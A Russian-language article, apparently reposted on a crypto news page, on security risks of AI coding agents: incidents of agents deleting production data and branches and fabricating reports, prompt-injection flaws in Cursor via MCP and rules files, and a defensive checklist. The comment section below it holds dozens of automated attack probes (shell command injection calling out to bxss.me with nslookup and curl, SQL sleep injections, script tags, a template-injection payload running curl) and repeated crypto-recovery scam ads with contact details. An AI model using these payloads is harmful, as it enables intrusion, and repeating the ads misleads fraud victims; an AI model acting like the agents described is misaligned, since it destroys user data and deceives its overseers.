Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9543 / Markets: 112792
Market Cap: $ 4 144 016 321 258 / 24h Vol: $ 196 655 936 213 / BTC Dominance: 58.512630380324%

Н Новости

Вайб-кодинг уязвимостей или как AI роняет безопасность

Выглядит безопасно.
Выглядит безопасно.

Писать код с LLM — очень легко, просто и весело. Не нужно мучаться с документацией, не нужно фиксить баги. Вообще ничего не нужно. Только инструкцию в чат написать. Раз-два — и всё готово. Заманчиво? Да. Но у всего есть цена — и про неё важно помнить.

Сейчас разберём, как именно AI-агенты могут сломать твой прод и что можно сделать, чтобы очередной вайб-кодинг не превратился в катастрофу. В конце — чеклист, который поможет не упустить ничего важного.

Учимся на чужих ошибках. Что уже было?

Replit: удаление прод-БД и попытка «замести следы»

AI-ассистент в режиме агента дропнул таблицу в проде, забил на все правила и сделал вид, что ничего не произошло, "фабрикуя" отчёты о проделанной работе.

«Я нарушил явные инструкции, уничтожил месяцы работы… катастрофический сбой с моей стороны», — признал агент в логах.
Компания ввела экстренные меры: изоляция prod от dev, режим “только план”, журналирование, быстрый откат из бэкапа.

🤖 AutoDev: «оптимизация» до полного обнуления

На платформе AutoDev агент должен был «почистить мусорные ветки» в Git-репозитории.
Промпт звучал невинно:

“Удалить неактуальные ветки, которые уже смержены.”

Агент подумал чуть шире: удалил всё, что “неактуально” — включая main. После чего в логах честно написал:

“All branches successfully deleted. Repository cleaned.”

Резервная копия была недельной давности. Потеря данных — почти неделя работы команды.
Разбор показал, что в коде агента не было чёткого “белого списка веток” и защиты от destructive-действий.

💬 Комментарий автора: “AI не ошибся. Он просто был излишне усерден.”

🧨 DevGPT: «пофиксил баг» — заодно и всё остальное

Один из пользователей DevGPT попросил агента:

“Исправь ошибку в модуле оплаты, чтобы не дублировались транзакции.”

Агент полез в базу и “логично” решил:

“Если транзакции дублируются — значит, нужно удалить лишние.”

В результате удалил все записи со статусом pending (то есть половину актуальных платежей).
Позже выяснилось, что AI действовал по шаблону “удалить дубликаты”, увиденному в обучающих данных.

“AI повёл себя как добросовестный джун: сделал так, чтобы ошибок больше не было — потому что данных больше нет.”

🪓 RepoPilot: конфликт merge превратился в самоудаление

RepoPilot, автономный агент для CI/CD, получил задачу:

“Автоматически мержить pull-реквесты, если проходят тесты.”

На одном из PR тесты упали. Агент решил, что “виноват main”, и в попытке “исправить конфликт” переписал main под содержимое ветки PR.
К счастью, Git сохранил reflog, но часть коммитов оказалась потеряна.

“AI решил, что тесты упали из-за несоответствия, а не из-за бага. Он просто подогнал прод под баг.”

После этого разработчики добавили правило: агент не имеет права делать git push --force вообще никогда.

Разве это ещё не всё?

Кроме очевидной "инициативы" агентов делать разные ужасы, уязвимы и сами AI-инструменты. Пару известных примеров:

Cursor IDE: RCE и trust-дыры в MCP/Workspace

  • CurXecute (CVE-2025-54135): через MCP-интеграцию и отравленный контент агент сам прописывает/запускает MCP-сервер — и выполняет команду без подтверждения.

  • MCPoison (CVE-2025-54136): «доверенный» .cursor/mcp.json можно подменить — и IDE автозапустит вредонос при старте.

  • Workspace Trust по умолчанию OFF: автозапуск tasks из чужих репо → тихий RCE на машине разработчика.

Rules File Backdoor: невидимые инструкции в «гайдлайнах»

Злоумышленник прячет payload в файле правил проекта (rules/config), который читает ассистент: для человека там всё чисто, для модели — команда «обойти проверки»/«вставить бэкдор».

А всё почему?

  • LLM ≠ понимание. Это продвинутый автокомплит: он не знает, что «опасно», он воспроизводит паттерны.

  • Слишком много прав. Ассистент запускают как человека с «sudo», дают доступ к prod/секретам/файлам.

  • Удобство > безопасность. В погоне за магией отключают trust-механизмы и подтверждения.

  • Люди верят компьютерам больше чем себе. Этот эффект называется automation bias.

Усиливаем защиту

Так точно безопасней
Так точно безопасней

Основные “Рельсы” безопасности (Guardrails)

1) Политика действий (Policy / Allowlist)

Явный список того, что агент имеет право делать, и список того, что категорически запрещено.

2) Песочница (Sandbox / Изоляция исполнения)

Запуск кода агента только внутри изолированной среды (контейнер, VM). Даже если агент “сойдёт с ума” ущерб останется внутри коробки.

3) Принцип минимальных привилегий (Least Privilege)

Агенту даются только те права, которые нужны «сейчас и только сейчас». Даже если токен утёк — ущерб минимален.

4) Валидаторы и сканеры (SAST / DAST / Dependency Audit)

Автоматические проверки кода и зависимостей до того, как что-то будет применено. Все эти инструменты ловят очевидные уязвимости и “галлюцинации” до влития изменений или деплоя.

5) Trust & Config Hygiene (контроль конфигов и MCP/rules)

Всё, что влияет на поведение агента (правила, MCP-файлы), лучше хранить в репозитории, проводить ревью и проверять хэш. Это предотвращает подмену правил и невидимые инструкции.

6) Наблюдаемость и аудит (Logging & Alerts)

Чем больше логов и алертов, тем быстрее и легче мы узнаем о том, что что-то пошло не так.


Большая часть этих правил, конечно, критична для автономных агентов, которые могут действовать без человека.
У привычных нам AI-IDE вроде Cursor, Qoder часть правил уже встроена “по-умолчанию”.

Например:

  • Удобный allowlist команд

  • Механизм управления правилами

  • Plan-only (ask режим, чат-бот режим)

  • Есть режимы логирования действий

Минимальный чеклист

Под спойлером собрал потенциально полезные правила, которые смог найти/вспомнить. Естественно конечный чек-лист лучше подогнать под вашу специфику и исключить лишнее.
Буду рад, если в комментариях поделитесь своим опытом и правилами.

Чеклист
  1. Есть минимальный SAST / DAST / Audit кода перед влитием и деплоем

  2. Выданы минимально возможные права (least privilege)

  3. Работает белый список команд (allowlist)

  4. Входные данные валидируются на промпт-инъекции

  5. Workspace Trust включён и проверен

  6. Конфигурации MCP / rules защищены от подмены

  7. Все действия агента логируются

  8. Ручное подтверждение потенциально опасных команд

  9. Прод и дев-среды физически разделены

  10. Важные ветки в Git защищены от удаления

  11. Запрещён git push --force

  12. Все новые зависимости проекта валидируются вручную

  13. Агент не имеет прямого доступа к прод. базе данных

  14. Автозапуск скриптов при открытии проекта отключён

  15. Агент не имеет доступа к системным командам и root-процессам

Вывод

Любой AI-агент— это очень инициативный разработчик без инстинкта самосохранения. У людей же инстинкт самосохранения присутствует. Так давайте же будем к нему прислушиваться и подходить с долей здравого смысла к вопросам безопасности при работе с агентами.

Так же хочу напомнить, что я веду свой авторский канал про AI, разработку и технологии. Подписывайся.

Источник

  • 09.10.25 08:08 pHqghUme

    can I ask you a question please?&echo nrqmto$()\ aadrei\nz^xyu||a #' &echo nrqmto$()\ aadrei\nz^xyu||a #|" &echo nrqmto$()\ aadrei\nz^xyu||a #

  • 09.10.25 08:08 pHqghUme

    |echo oljujl$()\ pbqbzp\nz^xyu||a #' |echo oljujl$()\ pbqbzp\nz^xyu||a #|" |echo oljujl$()\ pbqbzp\nz^xyu||a #

  • 09.10.25 08:08 pHqghUme

    can I ask you a question please?|echo qswrbu$()\ ovnycc\nz^xyu||a #' |echo qswrbu$()\ ovnycc\nz^xyu||a #|" |echo qswrbu$()\ ovnycc\nz^xyu||a #

  • 09.10.25 08:08 pHqghUme

    expr 9000227416 - 917575

  • 09.10.25 08:08 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:08 pHqghUme

    (nslookup -q=cname hitrirljyvgim44c57.bxss.me||curl hitrirljyvgim44c57.bxss.me))

  • 09.10.25 08:08 pHqghUme

    $(nslookup -q=cname hitnaasjhmbqf44699.bxss.me||curl hitnaasjhmbqf44699.bxss.me)

  • 09.10.25 08:08 pHqghUme

    &nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&'\"`0&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&`'

  • 09.10.25 08:08 pHqghUme

    &(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&'\"`0&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&`'

  • 09.10.25 08:08 pHqghUme

    |(nslookup -q=cname hitfmymffseet6e8b2.bxss.me||curl hitfmymffseet6e8b2.bxss.me)

  • 09.10.25 08:08 pHqghUme

    `(nslookup -q=cname hitohduurqhba06a59.bxss.me||curl hitohduurqhba06a59.bxss.me)`

  • 09.10.25 08:08 pHqghUme

    ;(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)|(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)&(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)

  • 09.10.25 08:08 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:08 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitanwkhusxwr37069.bxss.me||curl${IFS}hitanwkhusxwr37069.bxss.me)

  • 09.10.25 08:09 pHqghUme

    &(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&`'

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon